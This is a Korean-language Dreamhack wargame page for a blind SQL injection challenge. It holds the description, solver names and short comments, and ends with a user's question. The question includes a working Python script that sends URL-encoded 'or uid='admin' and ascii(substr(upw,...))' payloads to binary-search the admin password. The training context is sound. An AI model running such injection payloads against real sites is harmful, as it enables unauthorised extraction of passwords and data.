LEVEL 2

blind sql injection advanced

web

Author

avatar
Dreamhack
No badge

First Blood!

avatar
as3617
워게임 고인물
Solved in just 32 minutes!

Description

Description

Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다.
관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.

문제 수정 내역

2023.07.20 Dockerfile 제공

Solvers 921

avatar
ru__ff_y
No badge
csh22101
워게임: 1
파란노을
강의 수강: 1
widiwici
No badge
채영2
No badge
SFicheu
No badge

Comments 31

avatar
ru__ff_y
No badge
파이썬의 requests 모듈을 유용하게 써볼 기회였습니다.
O_F
No badge
좋습니다.
avatar
BMC
워게임: 50
풀면 뿌듯한 문제네요 ㅎㅎ..
avatar
B0ramae
워게임: 50
이것이드림핵?!?!?
l000wk3y
공부벌레
좋은 문제네요
고블빈
No badge
UTF-8... 코딩을 못해서 노가다... 슬프다
whoamiii
No badge
배우지 않으면 절대 못풀 문제...ㅎ
avatar
엑슨
워게임 풀이: 1
이걸 혼자 풀다니!!! 감격스럽다
avatar
사용자
CTF Second Place
좋은 문제입니다~
님이슈
No badge
열받아요,,,

Feedbacks 53

Questions 8

Need help? Ask your question and get hints!
Ask Questions
이진탐색이 안되는 이유좀 설명해주세요
import os import requests URL = "http://host3.dreamhack.games:17636/?uid=" def binary_search(arr,n): low, high = 0, len(arr) - 1 while low <= high: mid = (low + high) // 2 mid_value = arr[mid] BIG = Big(Payload(n,mid_value),mid_value) if Big("%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29={}%23".format(n,mid_value),mid_value): return (chr(arr[low])) elif not BIG: low = mid + 1 # 중간값이 타겟보다 작으면 오른쪽 반을 탐색 else: high = mid - 1 # 중간값이 타겟보다 크면 왼쪽 반을 탐색 return "" # low 반환 def Payload(n,i): return "%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29<{}%23".format(n,i) def Big(PAYLOAD,i): global URL,answer print("Payload : ",answer+chr(i)) res=requests.get(URL+PAYLOAD,"") if "exist" in (res.text): return True else: return False answer='' for n in range(1,30): if Big(Payload(n,126),126): ans = binary_search(range(32,127),n) elif Big(Payload(n,50813),50813): ans = binary_search(range(44032,50813),n) answer+=ans print("FLAG : "+answer) 조잡하게 보이실 수 있는데.. 이진탐색으로 blind-sql injection하는 코드입니다. DH{ 까지는 잘 나오는데, 한글부터 안나옵니다. 그래서 혹시 한글이 아닌가 해서 코드로 해당 문자의 범위를 찾아봤는데, 한글보다 작고 아스키코드보다 큰 범위로 나왔습니다. 뭐가 잘못된걸까요..?
돈이되고싶은굳